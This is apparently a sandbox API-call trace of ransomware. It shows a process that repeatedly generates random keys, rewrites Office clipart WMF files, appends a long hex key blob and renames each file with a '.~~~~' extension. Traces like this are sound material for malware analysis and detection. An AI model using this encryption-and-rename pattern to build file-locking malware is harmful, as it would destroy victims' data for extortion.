	[0091.537] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.537] CloseHandle (hObject=0x134) returned 1
	[0091.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.537] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.~~~~")) returned 1
	[0091.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.598] GetLastError () returned 0x0
	[0091.598] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.605] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.605] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.605] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21159497680) returned 1
	[0091.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0609bf0, dwHighDateTime=0x1d60e1e)) 
	[0091.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386d50
	[0091.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386d50 | out: hHeap=0x300000) returned 1
	[0091.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385d90
	[0091.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.616] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.616] GetLastError () returned 0x0
	[0091.617] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.617] GetLastError () returned 0x0
	[0091.620] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffcd62, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.620] WriteFile (in: hFile=0x134, lpBuffer=0x2909058*, nNumberOfBytesToWrite=0x329e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2909058*, lpNumberOfBytesWritten=0x24dfec0*=0x329e, lpOverlapped=0x0) returned 1
	[0091.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2909058 | out: hHeap=0x300000) returned 1
	[0091.621] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.621] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.621] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.621] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.621] CloseHandle (hObject=0x134) returned 1
	[0091.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.621] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.~~~~")) returned 1
	[0091.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.622] GetLastError () returned 0x0
	[0091.622] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.623] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.623] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.623] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21161298415) returned 1
	[0091.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa062fd50, dwHighDateTime=0x1d60e1e)) 
	[0091.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386e30
	[0091.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386e30 | out: hHeap=0x300000) returned 1
	[0091.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385c60
	[0091.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.623] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.624] GetLastError () returned 0x0
	[0091.624] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.624] GetLastError () returned 0x0
	[0091.625] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff190, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.625] WriteFile (in: hFile=0x134, lpBuffer=0x2909058*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2909058*, lpNumberOfBytesWritten=0x24dfec0*=0xe70, lpOverlapped=0x0) returned 1
	[0091.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2909058 | out: hHeap=0x300000) returned 1
	[0091.626] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.626] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.626] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.626] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.626] CloseHandle (hObject=0x134) returned 1
	[0091.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.626] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.~~~~")) returned 1
	[0091.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.627] GetLastError () returned 0x0
	[0091.627] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.628] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.628] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.628] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21161859802) returned 1
	[0091.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0655eb0, dwHighDateTime=0x1d60e1e)) 
	[0091.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386e68
	[0091.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386e68 | out: hHeap=0x300000) returned 1
	[0091.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385ec0
	[0091.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.629] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.629] GetLastError () returned 0x0
	[0091.629] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.629] GetLastError () returned 0x0
	[0091.631] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff9e4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.631] WriteFile (in: hFile=0x134, lpBuffer=0x2909058*, nNumberOfBytesToWrite=0x61c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2909058*, lpNumberOfBytesWritten=0x24dfec0*=0x61c, lpOverlapped=0x0) returned 1
	[0091.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2909058 | out: hHeap=0x300000) returned 1
	[0091.632] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.632] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.632] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.632] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.632] CloseHandle (hObject=0x134) returned 1
	[0091.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.632] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.~~~~")) returned 1
	[0091.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.633] GetLastError () returned 0x0
	[0091.634] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.635] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.635] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.635] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21162494110) returned 1
	[0091.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0655eb0, dwHighDateTime=0x1d60e1e)) 
	[0091.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386ea0
	[0091.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386ea0 | out: hHeap=0x300000) returned 1
	[0091.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385f58
	[0091.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.635] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.635] GetLastError () returned 0x0
	[0091.636] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.636] GetLastError () returned 0x0
	[0091.640] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffedcc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.640] WriteFile (in: hFile=0x134, lpBuffer=0x2909058*, nNumberOfBytesToWrite=0x1234, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2909058*, lpNumberOfBytesWritten=0x24dfec0*=0x1234, lpOverlapped=0x0) returned 1
	[0091.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2909058 | out: hHeap=0x300000) returned 1
	[0091.640] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.640] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.641] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.641] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.641] CloseHandle (hObject=0x134) returned 1
	[0091.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.641] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.~~~~")) returned 1
	[0091.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.642] GetLastError () returned 0x0
	[0091.642] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.643] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.643] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.643] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21163291154) returned 1
	[0091.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa067c010, dwHighDateTime=0x1d60e1e)) 
	[0091.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9500
	[0091.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9500 | out: hHeap=0x300000) returned 1
	[0091.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385ff0
	[0091.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.643] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.644] GetLastError () returned 0x0
	[0091.644] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.644] GetLastError () returned 0x0
	[0091.683] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff06c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.684] WriteFile (in: hFile=0x134, lpBuffer=0x2909058*, nNumberOfBytesToWrite=0xf94, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2909058*, lpNumberOfBytesWritten=0x24dfec0*=0xf94, lpOverlapped=0x0) returned 1
	[0091.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2909058 | out: hHeap=0x300000) returned 1
	[0091.685] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.685] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.685] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
